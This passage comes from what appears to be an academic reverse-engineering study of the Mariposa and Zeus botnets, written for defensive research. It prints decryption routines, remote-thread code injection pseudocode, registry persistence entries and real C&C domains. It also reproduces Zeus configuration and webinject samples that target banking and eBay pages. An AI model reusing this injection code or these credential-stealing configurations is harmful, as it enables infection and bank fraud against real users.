.text:00401016 add esi, 4Ah

.text:00401019 mov ecx, 0EDFDh

.text:0040101E sub esp, ecx

.text:00401020 sub esp, 3

.text:00401023 mov al, [ebx+1]

.text:00401026 mov ah, [ebx+2]

.text:00401029 not al

.text:0040102B add al, ah

.text:0040102D sar al, 1

.text:0040102F loc_40102F:

.text:0040102F mov bl, ds:(byte_40105F - 40105Fh)[esi+ecx]

.text:00401032 add bl, al

.text:00401034 xor bl, ah

.text:00401036 inc al

.text:00401038 mov [esp+ecx+0EE0Ah+var_EE0B], bl

.text:0040103C loop loc_40102F

.text:0040103E mov edx, 401FE0h

.text:00401043 sub edx, esi

.text:00401045 mov ebx, esp

.text:00401047 add ebx, edx

.text:00401049 dec ebx

.text:0040104A push esp

.text:0040104B loc_40104B:

.text:0040104B call ebx

Figure 3.22: Fourth Decryption Routine in Assembly
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Fourth_layer_decryption()
{
Key1=getByte(0x418CA2);
Key2=getByte(0x418CA3);
Key1=((! key1) + key2) / 2;
Source_address= 40FE5C;
Enc_data[0xEDFD] = getData(Source_address, Source_address +0xEDFD );
Dec_data[0xEDFD]=null;
Dest_address = 0xXXXX;//in the stack.
for(i=o; i<Enc_data.length ; i++){
Dec_data[i]= (Enc_data[i] + key1) XOR key2;
If(key1==0xFF){

Key2= (Key2+1) % 0xFF;
}
Key1= (Key1+1) %0xFF;

}
}

Figure 3.23: Pseudocode of Fourth Decryption Routine

Decrypt_Strings ()
{
Start_add =0x4197E0;
Size =0xD65;
Enc_data[]=Get_data(Start_add,Start_add+Size);
Key1=Get_byte(0x418CA2);
Key2=Get_byte(0x418CA3);
key=( key2+ ~Key1) >> 1;
for(i=Size; i >= 0; --i){
Dec_data[i]=( Enc_data[i]+ key) XOR key2;
key =(key ++)%255;

}
}

Figure 3.24: Pseudocode of String Decryption Routine
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Stack[000010A4]:001389B6 loc_1389B6:
Stack[000010A4]:001389B6 cmp [ebp+var_4], 0
Stack[000010A4]:001389BA jl short loc_1389F5
Stack[000010A4]:001389BC movsx eax, [ebp+arg_8]
Stack[000010A4]:001389C0 mov ecx, [ebp+arg_0]
Stack[000010A4]:001389C3 add ecx, [ebp+var_4]
Stack[000010A4]:001389C6 movsx edx, byte ptr [ecx]
Stack[000010A4]:001389C9 add edx, eax
Stack[000010A4]:001389CB mov eax, [ebp+arg_0]
Stack[000010A4]:001389CE add eax, [ebp+var_4]
Stack[000010A4]:001389D1 mov [eax], dl
Stack[000010A4]:001389D3 movsx ecx, [ebp+arg_C]
Stack[000010A4]:001389D7 mov edx, [ebp+arg_0]
Stack[000010A4]:001389DA add edx, [ebp+var_4]
Stack[000010A4]:001389DD movsx eax, byte ptr [edx]
Stack[000010A4]:001389E0 xor eax, ecx
Stack[000010A4]:001389E2 mov ecx, [ebp+arg_0]
Stack[000010A4]:001389E5 add ecx, [ebp+var_4]
Stack[000010A4]:001389E8 mov [ecx], al
Stack[000010A4]:001389EA mov dl, [ebp+arg_8]
Stack[000010A4]:001389ED add dl, 1
Stack[000010A4]:001389F0 mov [ebp+arg_8], dl
Stack[000010A4]:001389F3 jmp short loc_1389AD
Stack[000010A4]:001389F5 loc_1389F5:
Stack[000010A4]:001389F5 mov esp, ebp
Stack[000010A4]:001389F7 pop ebp
Stack[000010A4]:001389F8 retn 10h

Figure 3.25: String Decryption Routine in Assembly

remote process using the WriteProcessMemory function. Afterwards, the injected thread is

invoked using the createRemoteT hread function. The DCI technique can be summarized

as follows:

1) Retrieving the handle of the remote process by calling the OpenProcess function.

2) Allocating memory inside the remote process in order to inject data that is achieved by

calling the VirtualAllocEx function.

3) Writing a copy of the initialized INJDATA structure into the allocated memory by call-

ing
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the WriteProcessMemory function.

4) Executing the injected code using the CreateRemoteT hread function.

In order to prepare for code injection, Mariposa creates important data that is used by

the injected code for various purposes. The data breaks into names of directories and names

of files. The created data is:

• Directory Path: C : \Recycler\s−1−5−21.

• Directory Path: C : \Recycler\S−1−5−21−7524899924−6962119414−608760223−

8454. The directory access control is set to read, write and execution permissions.

• File Name: C : \Recycler\S−1−5−21−7524899924−6962119414−608760223−

8454\

Desktop.ini.

• File Name: C : \Recycler\S−1−5−21−7524899924−6962119414−608760223−

8454\

windll.exe.

Before firing the injection process, the program calls the GetVersion function in order

to retrieve the operating system version. The reason behind this call resides in checking

whether the operating system is Windows NT or not. It makes this checking to ensure if

it can call the CreateRomoteT hread function or not 5. At the beginning of the injection

process, the program calls the CreateToolhel p32Snapshot function to take a snapshot of

5T heCreateRemoteT hread function works only in Windows NT versions.

69



the processes that run in the system. Afterward, it enumerates the existing processes by

calling the Process32First and Process32Next functions. Once explorer.exe process is

found in the snapshot, it retrieves its process identifier. The process ranging from taking

a snapshot to look for a specific process identifier is summarized using the pseudocode

presented in Figure 3.26.

GetTargetProcessIdFromProcessname(char *processName)
{

PROCESSENTRY32 pe;
HANDLE thSnapshot;
BOOL retval, ProcFound = false;
thSnapshot = CreateToolhelp32Snapshot( );

retval = Process32First(thSnapshot, &pe);
while(retval){

if(StrStrI(pe.szExeFile, processName))
{

ProcFound = true;
break;

}
retval = Process32Next(thSnapshot,&pe);

}
return pe.th32ProcessID;

}

Figure 3.26: Process Lookup Pseudocode

After obtaining the process identifier, the program calls the OpenProcess function to

open the explorer.exe process. Afterwards, it calls the VirtualAllocEX function to allo-

cate memory within the targeted process. It uses the NtWriteVirtualMemory function to

write into the explorer.exe process. Once the code is written in the allocated virtual mem-

ory location, the program calls the CreateRemoteT hread function to run the injected code.

The CreateRemoteT hread function uses seven parameters to create a new thread. Fig-

ure 3.27 illustrates the pseudocode of the injection process whereas the declaration of the

CreateRemoteT hread function is shown in Figure 3.28.
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BOOL InjectCODE(DWORD pID)
{

HANDLE hProcess;
char buf[50]={0};
LPVOID RemoteString, LoadLibAdd;
hProcess = OpenProcess(pID);
LoadLibAdd = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"

LoadLibraryA");
pRemoteThread = VirtualAllocEx( );
WriteProcessMemory(hProcess,pRemoteThread,&ThreadProc,dwThreadSize,0);
RemoteString = (LPVOID)VirtualAllocEx(Proc,NULL,strlen(),MEM_RESERVE|

MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(Proc,(LPVOID)RemoteString, Address,length,NULL);
CreateRemoteThread(hProcess,0,0,(DWORD(__stdcall *)(void *))

pRemoteThread,RemoteString,0,&dwThreadId);
CloseHandle(Proc);
return true;

}

Figure 3.27: Code Injection Pseudocode

HANDLE CreateRemoteThread(
HANDLE hProcess, // handle to process to create thread in
LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to attributes
DWORD dwStackSize, // initial thread stack size, in bytes
LPTHREAD_START_ROUTINE lpStartAddress, // pointer to thread

function
LPVOID lpParameter, // argument for new thread
DWORD dwCreationFlags, // creation flags
LPDWORD lpThreadId // pointer to returned thread identifier

);

Figure 3.28: CreateRemoteThread Function Declaration

3.3.5 Injected Thread Activity

Our next target is to analyze the part of the program that is injected into the address space

of explorer.exe. In order to analyze a live process, we need to attach that process into an in-

stance of the IDA Pro debugger. Attaching and analyzing live explorer.exe is troublesome.

It creates a lot of problems including freezing the system. To overcome this problem, we

patch the portion of the program where it chooses explorer.exe as the process to inject. We
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choose winlogon.exe to replace explorer.exe. By this way, we enforce Mariposa to inject

code into winlogon.exe instead of explorer.exe.

After the injection, we attach the injected process winlogon.exe into the IDA pro de-

bugger. In order to get the control of the debugging process, we set a breakpoint at

the entry point of the newly created thread. The entry point is found by observing the

CreateRemoteT hread function. The LPT HREAD_START _ROUT INE field in the defini-

tion of the CreateRemoteT hread function (shown in Figure 3.28) represents the starting

address of the invoked thread.

At the beginning, the injected thread creates a mutex object using the name c__kd jcpeoi j.

The mutex object is used to ensure singular execution of the bot. The intent is to avoid a

possible running of multiple bot instances, which can crash the system, or at best slow

down the machine. It uses the WaitForSingleOb ject function with a predefined waiting

time to ensure singular execution. Once the single instance checking is ensured, it creates

two files:

• C : \Recycler\S−1−5−21−7344526690−8558129233−739613093−1787\

windll.exe and

• C : \Recycler\S−1−5−21−7524899924−6962119414−608760223−8454\

Desktop.ini

At this point, the thread copies the whole bot code to the file C : \Recycler\S−1−5−

21−7524899924−6962119414−608760223−8454\windll.exe. Afterwards, bot uses the

WsaStartup function to initiate the use of Winsock DLL, which is responsible for socket
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communication. It also opens the registry key so f tware\Microso f t\WindowsNT\

CurrentVersion\Winlogon, and creates a new entry called Taskman. It sets the value of

this entry to C : \Recycler\S− 1− 5− 21− 7524899924− 6962119414− 608760223−

8454\windll.exe. These registry changes are intended to ensure re-infection when the user

reboots the system. It also creates another entry named shell. This entry has the value C :

\Recycler\S−1−5−21−7344526690−8558129233−739613093−1787\windll.exe.

After manipulating registry entries, the bot creates two pipes for inter process commu-

nication. The first one is \\.\pipe\cdcpr55 whereas the second one is an anonymous pipe.

The first pipe is created in pipe_access_inbound mode, which supports client to server

transfer only. Once the pipes are set, the program calls the InternetOpen function in order

to use WinInet library functions. Mariposa bot uses three hard coded domain names to re-

solve the IP address of the C&C server. It picks the first domain name, sends the encrypted

magic word to the resolved IP address and waits for the reply from the server. If the server

does not respond, then, it picks the second or the third domain name and tries to connect to

the server by using the resolved IP addresses. The hard coded domain names are:

• Shv4.no-ip.biz

• Shv4b.getmyip.c

• Booster.estr.cs

The sequence of actions of joining the C&C server are:

• The Inet_addr function is used to convert the domain names into proper addresses.
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• The bot retrieves the host information from the corresponding host name by using

the gethostbyname function.

• The htons function is used to convert an unsigned short number from a host to a

TCP/IP network byte order 6.

• The bot encrypts the magic word (bpr1 is the magic word in this variant of Mariposa)

using the pseudocode shown in Figure 3.29.

• The bot sends the encrypted magic word using the sendto function.

• The bot receives a reply from the server by using the recv f rom function.

• The bot decrypts and decodes the received commands and triggers appropriate ac-

tions that are instructed by the master.

Encrypt/decrypt()
{
Key[2]=getKey();
Data[]=getData();
For(i=0;i<length(Data); i++)
{
For(j=0;j<2; j++)
{

Data[i]= Data[i] XOR Data[j];
}
Data[i]=~Data[j];

}

}

Figure 3.29: Magic Word Encryption/Decryption

6Network byte order defines the bit-order of network addresses as they pass through the network. The
TCP/IP standard Network byte order is big-endian. In order to participate in a TCP/IP network, little-endian
systems usually bear the burden of conversion to Network byte order [80].
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3.4 Modules

Mariposa bot code is designed in modular fashion. Among the modules, spreader module

is used to incorporate virus like spreading activities in the bot code. The uploader/ down-

loader module is used to upload and download information. In the following, we discuss

these modules:

3.4.1 Spreader Module

Mariposa bot comes with a built-in spreader module which turns Mariposa dangerous

in terms of spreading. Spreading module breaks into three different components: USB

spreader, MSN spreader and P2P spreader. In Mariposa botnet, the master can send com-

mands to enable and disable the spreaders. Table 3.2 shows the different commands to

deactivate and activate spreaders.

Command Description
u0 Disable USB spreader
u1 Enable USB spreader
m0 Disable MSN spreader
m1 Enable MSN spreader
p0 Disable P2P spreader
p1 Enable P2P spreader

Table 3.2: Spreading Commands

In the sequel, we introduce the different techniques that are used in spreader modules:

• USB spreader. In order to activate the USB spreader, the program creates a new

top-level window by calling the CreateWindowEx function. The CreateWindowEx
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function returns a handle of the created window. The returned handle is used by the

RegisterDeviceNoti f ication function to register the device for which the specified

window will receive notifications. The intent is to receive notification from the sys-

tem when a flash drive is inserted. Once a user inserts a USB key, the mentioned

top-level window receives notification from the system. Then, the code looks for the

autorun.in f file in the USB drive. If there is any autorun.in f file, the process locks

that file to get the full control. It creates an autorun.in f file if there is no autorun.in f

file in the USB drive. Afterwards, Mariposa makes a copy of itself into the drive and

changes the content of the autorun.in f file so that the copied bot code can run as

AutoRun. Figure 3.30 shows the contents used to tweak the autorun.in f file.

Figure 3.30: Autorun.inf Content

• MSN spreader. Mariposa bot infects MSN messenger by hooking its sending and

receiving functions. The MSN spreader is activated if the bot receives an enabling

command from the botmaster. This command contains a custom link, which is used

to download the bot. Figure 3.31 shows how the hooking of send and recv functions

is done.

After receiving the activaton command, the bot looks for the msnmsgr.exe process
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Figure 3.31: Hooking in Mariposa

in the system. This operation is done periodically if the specified process does not

run in the system. Once the msnmsgr.exe process is found, Mariposa bot retrieves its

process Identifier. Then, it calls the OpenProcess function to get the handle of this

process. Afterwards, it creates a duplicate handle of the current process by calling

the GetCurrentProcess and DuplicateHandle functions. At this point of execution,

Mariposa bot starts a new routine which is responsible for injecting code inside the

virtual address space of the msnmsgr.exe process. This routine is called twice. In the

first call, it allocates 256 bytes of space by calling the VirtualAllocEX function and

injects code by calling the NtWriteVirtualMemory function. In the second call, it

injects string utility functions and the custom link that is sent by the master. It starts

the new thread by calling the CreateRemoteT hread function.

After the injection process, the bot hooks the ws2_32_send function in order to make

the injected code executed for each message that is sent. This is done by calling the
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VirtualProtectEx function to allow writing in the virtual memory. At the end, it calls

the NtWritevirtualMemory function to overwrite with the address of the injected

code.

• P2P spreader. P2P spreader tries to spread the malware using a simple tricks. The

idea is to find the shared folder of installed P2P applications by checking the registry

keys, and thereby copy the malware into those shared folders using eye catching

names. It uses names that imitate the crack file of games, e.g. "Crack Empire Earth".

Mariposa receives these names from the master along with the activation command.

When the bot receives a command that enables the P2P spreader, the program calls

the GetEnvironmentVariable function to get the registry entry for the current user.

The intent behind doing so resides in checking if P2P applications are installed or

not. Mariposa bot looks for the following P2P applications in the system: Ares,

BearShare, iMesh, Shareaza, Kazaa, DC++, eMule and LimeWire. Once it detects

the presence of a P2P application, it copies itself into the shared folder with a fake

name that is issued from the master. Figure 3.32 shows the P2P registry keys that are

accessed by Mariposa bot.

Figure 3.32: P2P Registry Keys

78



3.4.2 Uploader and Downloader Modules

During the analysis of the main tread activity, we notice that when the bot receives update/-

download commands, it triggers two new threads. To debug these threads in IDA Pro, we

set a breakpoint at the beginning of each thread. When Mariposa bot transfers the control

to one of these threads, we suspend the original one in IDA Pro and continued debugging

with the new one.

Thread 1: Mariposa starts this thread when the bot receives download commands. By

getting this command, the bot checks the command string. If the latter corresponds to

descargar7, the thread launches the following activities:

• It gets a temporary location in the system to download a new executable within.

• It calls the InternetOpenurl function. The bot feeds this function with a URL and

the command to get a connection with this URL.

• If the InternetOpenurl function succeeds, the bot creates a file in the temporary

location by using the create f ile function.

• It downloads the file by using the InternetRead f ile function.

• It writes the file into the disk by calling the write f ile function.

• It calls the create f ile function again to create the file.

7Descargar is a Spanish word, which means download
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After downloading the file, the bot checks the first two bytes to check whether the

downloaded file is an executable or not. If so, it runs it by calling the CreateProcess

function and exits the thread by calling the ExitT hread function.

Thread 2: This thread starts when the bot receives upload commands. By getting this

command, the bot checks the string command and compares it with subir8. If the compari-

son is successful, the thread executes the following activities:

• It calls the InternetCrackUrl function to read different URL components.

• It calls the InterConnect function to set a connection with a specific URL.

• It calls the Htt pOpenRequest function to create an HTTP request.

• It calls the InternetReadFile function to read data to be sent.

• It sends the data by using the Htt pSendRequest function.

• Finally, it closes the connection handle by using the InternetCloseHandle function.

After uploading the file, the thread calls the ExitT hread function to close the thread.

3.5 Functional diagram

By conducting a thorough reverse-engineering task, we notice that Mariposa bot has com-

plex interactions between its functional components. Figure 3.33 summarizes and illus-

trates the different interactions between the different functional components.
8Subir is a Spanish word, which means upload
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Figure 3.33: Mariposa Functional Diagram
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3.6 Summary

In this chapter, we have discussed the detailed reverse engineering findings of Mariposa

botnet. We have discussed a general overview of the botnet along with its network in-

teractions. We have also provided the reverse code analysis of Mariposa detailing its de-

obfuscations, decryption layers, code injection and after-injection activities. In addition,

we have also discussed different modules of Mariposa botnet, e.g., spreader module and

downloader module. The reverse engineering findings of new botnet like Mariposa may

help the security research industry to come up with new techniques to cope up with the

evolving problem.
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Chapter 4

Zeus Crimeware Analysis

In this chapter, we describe the detailed analysis of the Zeus botnet. We start with a brief

overview of the botnet followed by details about the components and the network activities

of the botnet. Afterwards, we provide the reverse engineering findings of the botnet. Fi-

nally, we go through the scripts that we use to extract valuable information from the Zeus

bot binary.

4.1 Overview

Zeus crimeware toolkit is one of the recent and puissant crimeware toolkits that emerged

in the Internet underground community to control botnets. The botnet has been in the wild

since 2007, and in July 2009, Damballa [9] reported Zeus as the number one threat with the

command of 3.6 million infected computers in the United States. It was also estimated that

Zeus is responsible for the 44% of banking malware infections [1]. Symantec Corporation
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referred Zeus as the "King of the Underground Crimeware Toolkits" [59] and in 2009, it

detected 70,330 unique variants of the Zeus binaries. Zeus bot has an amazing quality of

stealing personal information entered in the banking sites. This information stealing capa-

bility along with other features turn Zeus into one of the very effective botnets. Zeus botnet

is controlled by Command & Control (C&C) servers and the communication between the

C&C servers and the bots is based on Hyper Text Transfer Protocol (HTTP). The author of

the Zeus botnet uses various types of covertness techniques to make the botnet undetected.

For example, it uses encrypted traffic to avoid any interception of data. Zeus executable

binary does not use any driver for its operation; its functionality is based on WinAPI in-

terception in user mode, which makes it work even in low privilege user modes. Zeus is

preloaded with many spying capabilities like key-logging, intercepting FTP, POP3 login

passwords, taking screenshots in real time and many more. To steal user credentials, Zeus

uses HTML-injection technique. The bot runs in the infected computer and injects extra

HTML code into the selected web pages which requests additional personal information

that is not required for the original web sites. This lurks the user to input extra information

to the web site which is captured by the bot and transferred to the C&C server. Unlike

Mariposa, Zeus is not equipped with any spreading modules. Then, it is the bot herder’s

discretion about how to conduct the malware for spreading.
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4.2 Zeus components

Zeus botnet toolkit is available to buy in the underground black community and is priced

at US $700 to $5000. The botnet is designed in modular fashion and the modules can be

purchased separately to enrich its functionality. Over the years, numerous versions of Zeus

have been released. Some of the versions are released with minor changes and some of

them are released with major changes comprising added functionality. In this section, we

discuss the Zeus package based on the version v.1.2.4.2. This is the most stable version

of Zeus when we started our analysis on Zeus. The toolkit is comprised of three main

components:

• C& C Server

• Bot builder program and

• Bot.exe

The components interconnection to create the bot and other configuration files is shown in

Figure 4.34. In the following, we detail these components.

4.2.1 C&C Server

C&C Server is the pivotal part of the crimeware toolkit. This part of the botnet is respon-

sible for issuing commands to the bots located worldwide in a distributed fashion, and it

is also used to receive information from the bots. The information is received from the in-

fected machines in a regular time interval. Zeus C&C server is written in PHP scripts and
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Figure 4.34: Zeus Crimeware Components

it is comprised of two main parts: cp.php and gate.php. The cp.php script is used by the

botmaster for controlling purposes whereas the gate.php script is used as the gateway for

the bots. Control panel (cp.php) uses MySQL database [12] to store information received

from the bots. Besides the traditional functionalities, control panel also provides some extra

functionalities like providing information on the connection speed of bots behind Network

Address Translation (NAT), viewing screenshots of the compromised machines, timing to

find the bot online and many others.

4.2.2 Bot Builder

Builder program is responsible to build the bot executable as well as the dynamic config-

uration file known as config.bin. The config.bin file is used to update the configuration

of the Zeus bot client dynamically. Builder is also equipped with functionalities to disin-

fect or clean Zeus infected machines. The builder module comes with graphical interface,
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which makes it easier even for the script kiddies to operate Zeus botnet. One of the strong

features of Zeus is the ability to change the configuration files dynamically by the master.

After taking control of the victim’s machine, bot periodically checks for any update of the

configuration file (config.bin). If there is any update, it downloads the new configuration

file and configures itself accordingly. Zeus builder uses two configuration files: config.txt

and webinject.txt. In the following, we present a brief description about the aforementioned

files.

Config.txt

The configuration file config.txt incorporates two types of information: static information

and dynamic information. The static part of the configuration file config.txt is used by the

builder program while creating bot.exe to embed static information into it. On the other

hand, the dynamic information is used to create the encrypted dynamic configuration file

called config.bin. Figure 4.35 shows a sample of the config.txt file. Brief descriptions of

the fields are given here:

• botnet: the botnet name.

• timer_config: time gap to check the updated version of the config.bin file.

• timer_logs: time interval to send logs to the C&C server.

• timer_stats: time gap to send status information to the server.

• url_config: URL to download the configuration file.
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;Build time: 14:15:23 10.04.2009 GMT
;Version: 1.2.4.2

entry "StaticConfig"
botnet "btn1"
timer_config 60 1
timer_logs 1 1
timer_stats 20 1
url_config "http://localhost/config.bin"
url_compip "http://localhost/ip.php" 1024
encryption_key "secret key"
;blacklist_languages 1049

end

entry "DynamicConfig"
url_loader "http://localhost/bot.exe"
url_server "http://localhost/gate.php"
file_webinjects "webinjects.txt"
entry "AdvancedConfigs"
;"http://advdomain/cfg1.bin"

end
entry "WebFilters"
"!*.microsoft.com/*"
"!http://*myspace.com*"
"https://www.gruposantander.es/*"
"!http://*odnoklassniki.ru/*"
"!http://vkontakte.ru/*"
"@*/login.osmp.ru/*"
"@*/atl.osmp.ru/*"

end
entry "WebDataFilters"
;"http://mail.rambler.ru/*" "passw;login"

end
entry "WebFakes"
;"http://www.google.com" "http://www.yahoo.com" "GP" "" ""

end
entry "TANGrabber"
"https://banking.*.de/cgi/ueberweisung.cgi/*" "S3R1" "*&tid=*" "*&

betrag=*"
"https://internetbanking.gad.de/banking/*" "S3C6" "*" "*" "

KktNrTanEnz"
"https://www.citibank.de/*/jba/mp#/SubmitRecap.do" "SR2" "SYNC_TOKEN

=*" "*"
end
entry "DnsMap"
;127.0.0.1 xxxxxxxxx.com

end
end

Figure 4.35: Configuration File Contents
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• url_compip: server address for reporting the IP addresses.

• encryption_key: RC4 [100] encryption key to encrypt/decrypt the configuration file.

• url_loader: URL for downloading latest version of Zeus.exe.

• url_server: the location of C&C server.

• file_webinjects: the file that contains html injection rules.

• AdvancedConfigs: the alternate location to download the configuration file.

• WebFilters: the list of URLs that should be monitored by the bot. Any data sent to

these URLs is intercepted prior passing Secure Socket Layer (SSL) and sent to the

C&C server.

• WebDataFilters: this field is like WebFilters. Here string patterns are also provided

along with the URL. Data that is sent to the specified URL and matched the string

patterns are captured. As usual data is captured before the SSL layer.

• WebFakes: fake URL to redirect the user.

• TANGrabber: patterns used to search for the transaction number in the data that is

posted for the online transaction.

• DnsMap: entries used to change the SystemRoot\system32\drivers\etc\host file.

This feature can be used to redirect users to the fake sites or to restrict the users to

access certain security sites.
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Webinject.txt

The information of webinject.txt along with the dynamic part of the config.txt is used by

the builder program to create the encrypted configuration file config.bin. As we have stated

previously, Zeus uses HTML injection technique to steal personal credential. The idea is to

inject additional HTML code into the legitimate page that bounds the user to provide some

extra information. The targeted sites for the HTML injection and the corresponding HTML

code to inject are provided in the webinject.txt configuration file. A sample webinject.txt is

shown in Figure 4.36.

Dynamic Configuration File

This part of the builder program is responsible for creating the encrypted config.bin file. It

encodes the configuration information from config.txt and webinject.txt into a special struc-

ture. Afterwards, it encrypts the whole structure using RC4 [100] encryption algorithm that

uses the encryption key from the StaticConfig part of the config.txt file. This functionality

comes with a graphical user interface and users can also edit config files using the builder

tool. Figure 4.37 shows the user interface of the program.

Bot Executable

The pivotal reason of the builder program is to create the bot executable. It constructs the

malware binary in Portable Executable (PE) format. Builder program takes information

from the static part of the config.txt file and embeds it into the executable. Some of the

embedded information include: the botnet name, the URL to download the config.bin file
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set_url */my.ebay.com/*CurrentPage=MyeBayPersonalInfo* GL
data_before
Registered email address</td>*<img*>

data_end
data_inject
e-mail:
data_end
data_after
</td>
data_end

set_url *.ebay.com/*eBayISAPI.dll?* GL
data_before
(<a href="http://feedback.ebay.com/ws/eBayISAPI.dll?ViewFeedback&*">
data_end
data_inject
Feedback:
data_end
data_after
</a>
data_end

set_url https://www.us.hsbc.com/* GL
data_before
<table cellspacing="0" summary="page layout">
data_end
data_inject
data_end
data_after
</table>
data_end

set_url https://www.e-gold.com/acct/li.asp GPL
data_before
e-mail:</font>
data_end
data_inject
data_end
data_after
</font>
data_end

Figure 4.36: Webinject.txt
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Figure 4.37: Zeus Builder Interface

from, the encryption key and the timer value which is the time gap to send status information

to the server.

Disinfection Functionality

The builder has a capability to detect the presence of the Zeus bot in the system and also to

remove it. This is to facilitate the botmaster to disinfect the machine if it becomes infected

accidentally while testing the bot. The cleaning routine checks the existence of registry

keys that are created by the bot executable while infecting the machine. Also the routine

looks for some specific files in the system. If the registry entries and files are detected,

builder program cleans some of them and instructs the bot to shutdown itself. Also, it

deletes the stored Zeus binary file from the system. Figure 4.38 shows the user interface of
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the cleaning module.

Figure 4.38: Zeus Builder Interface (Cleaner)

4.3 Network Analysis

In this section, we describe the network communication between the Zeus client and the

C&C server. Before digging deep into the bot using reverse code analysis, we analyze

the traffic to get a precognition of its activities. This type of analysis is helpful to write

Intrusion Detection System (IDS) rules. To capture the bot traffic, we create a stub network

that is similar to the one used for the analysis of Mariposa bot. We configure a web server,

which acts as the C&C server and the drop location. This server hosts all resources that are

required to operate the botnet (config.bin file, PHP scripts and MySQL database). For the
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customization of the malware, we use the builder program to generate the malware binary

file, which is configured to communicate with the C&C server. Within our environment,

fake web sites are generated to reflect real scenarios of botnet attacks. All the necessary

entries of the configuration file as well as the web injects scripts are modified to target the

fake web site. After infecting a machine with the bot binary file, we collect network traces

for one day. During this session, the user of the infected machine visits the targeted web

site and then uses login credentials, personal information, and credit card information for

testing purposes.

By analyzing the bot network communications, we can learn the overall behavior of the

Zeus botnet. The network behavior of the Zeus botnet constitutes a starting point, where

we can dig into the crimeware toolkit functionality. Since the Zeus botnet is based on the

HTTP protocol, it uses a pull method to synchronize the botnet communications. From

the collected network traces between the bot and the C&C server, we observe that the bot

periodically checks a specific server for an up-to-date configuration and bot binary files.

Moreover, the HTTP communication messages between the two entities are encrypted. We

have to extract the key using the procedure described in Section 4.5 to decrypt the encrypted

packets. After decrypting the network traffic, we manage to determine the communication

pattern between the C&C server and the infected machine. The communication pattern can

be summarized as follows:

• After taking control of the victim machine, the first target of the bot is to fetch the

dynamic configuration file. To do so, the bot sends a request massage Get/config.bin

to the C&C server.
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• The C&C server replies with the encrypted config.bin file. The bot client receives

the encrypted configuration file and decrypts it using the encryption key which is

embedded in the bot binary.

• In some cases, the botmaster wants to involve the infected machine to manage the

botnet. To complete this task, the infected machine has to provide its external IP

address and reports any use of Network Address Translation (NAT). In order to know

the external IP address that is seen by the botnet servers, the infected machine makes

a request to a specific server. Afterward, this server informs the infected machine

about its external IP address. The server’s URL is provided in the static configuration

file.

• The bot post the stolen information and its update status report to the C&C server.

The communication pattern between the bot client and the C&C server is illustrated

in Figure 4.39. Timing information is determined using the static configuration structure

described in Section 4.5.

4.4 Reverse Engineering of Zeus

To understand the structure of the bot and the techniques that are used by the black hat

guys, we decide to reverse engineer the Zeus botnet. We use the combination of static

and dynamic analysis to analyze the bot. After loading the bot.exe in IDA Pro, which

is generated by the builder program, we can see that except the initial entry point (EP),
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GET / config.bin 

<encrypted> config.bin 

Zeus Bot Client Zeus C&C Infrastructure 

GET / ip.php (sent to any server)

OK (HTTP 200)

IP address

OK (HTTP 200)

OK (HTTP 200)

POST / gate.php 

Figure 4.39: Zeus Communication Pattern

the whole bot code is encrypted. We use manual load option of IDA Pro so that we can

detect all the sections of the executable. It is observed that bot executable contains four

segments: text/code, imports, resources and data. The memory layout of the bot executable

is depicted in Figure 4.40. For the bot.exe, our utmost interest is to find out various de-

obfuscation techniques and to locate the key that is used for the RC4 encryption. On the

way of analyzing the bot, we figure out various layers of decryptions as described in the

following.
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EP

Resources

Imports

Code

Text

Text

Data

401000

409A11

409AD7

410000

4100E4

411000

4160CA

bot.exe

Figure 4.40: Segments of Zeus Executable

4.4.1 Revealing De-obfuscation

As like most modern malware, Zeus binary is encrypted and highly obfuscated. The whole

bot code is encrypted except the entry point and the initial de-obfuscation routine. This

initial de-obfuscation routine runs to create further meaningful executable code. In Zeus,

the initial de-obfuscation routine is located just below the entry point. The routine starts

with a long meaningless loop. Malware writer often uses this type of long meaningless loop

to confuse the debugger. After executing this meaningless loop, the routine starts executing

the real decryption routine. The decryption routine uses a 4-byte long key along with a 1-

byte seed to decrypt code from the text/code segment. The steps of the first de-obfuscation

routine are:
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De-obfuscation 2

De-obfuscation 3 & 4

8-byte key

Other functions

390000

39007A

39013C

3901F5

Virtual Memory

390082

Figure 4.41: De-ofuscated Code in The Virutal Memory

• Allocates virtual memory for the decrypted data,

• Reads the first encrypted byte from memory and adds to it the lower byte from the

4-byte key as well as a seed value and stores it in the virtual memory,

• Increments the pointer to the encrypted memory as well as rotates the key by 1 byte,

and

• Continues until all the data has been decrypted.

The result of the first de-obfuscation routine revealed some new code segments. These

segments contain three de-obfuscation routines as shown in Figure 4.41. During our analy-

sis, the initial offset address of the memory for the code segments was 0x390000. After the

address space of the second de-obfuscation routine, there is an 8-byte key that the IDA Pro

incorrectly identified as code instructions. Figure 4.42 illustrates the location of the 8-byte

key. In the following, we explain the main logic of the second de-obfuscation routine.
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• First, it copies two binary blocks from the text/code segment, concatenates them

together, and then writes them into the virtual memory. The first text block contains

data with many zero value bytes that will be filled by the next text block as shown in

Figure 4.43.

• The routine scans every byte on the first text block and when it encounters a hole

(zero byte), it will overwrite the zero byte with the next available byte in the filler text

block. This is repeated until all holes are filled. The procedure is shown graphically

in Figure 4.44.

Figure 4.42: The 8-byte Key

The block of filled binary that is the result of the second de-obfuscation routine is still

encrypted. Zeus uses its third de-obfuscation layer to decrypt these data with the 8-byte key

shown in Figure 4.42. The third de-obfuscation layer takes the first encrypted byte from the
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Text with missing data

Filler text

3901F5

39C276

39E9C3

Virtual Memory

Figure 4.43: The Virtual Memory Used By The Second De-obfuscation Routine

beginning of the filled binary block and XORs it with the lower byte from the 8-byte key.

After that, the algorithm takes the next encrypted byte and also chooses the next byte of the

key to XOR it. It continues the same process until finishes decrypting the whole block of

the filled data.

After the third de-obfuscation layer, Zeus continues with the fourth de-obfuscation

layer. The fourth de-obfuscation layer employs heavy computation. Because of its com-

plexity, we do not try to understand its functionality. Instead, we write Python scripts to

imitate the whole process and to get the outcome of the routine. We discuss these scripts

later in Section 4.5.1. After the fourth de-obfuscation routine, we can observe the real entry

point of the malware. The text/code segment is now valid machine instructions. However,

the strings and URLs are still encrypted. Zeus employs another two de-obfuscation layers

to decrypt these strings and URLs. The first layer is performed on a set of strings that the

malware uses to load the DLL libraries, retrieve function names, and for other purposes

during the installation process. Similarly, the second layer is used to decrypt URLs that are

loaded from the static configuration part of the config.txt file. The pseudocode of the string
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De-obfuscation 2

De-obfuscation 3

8-byte key

De-obfuscation 4

Virtual Memory

Filled text

Filler text

00 42 E1 C1

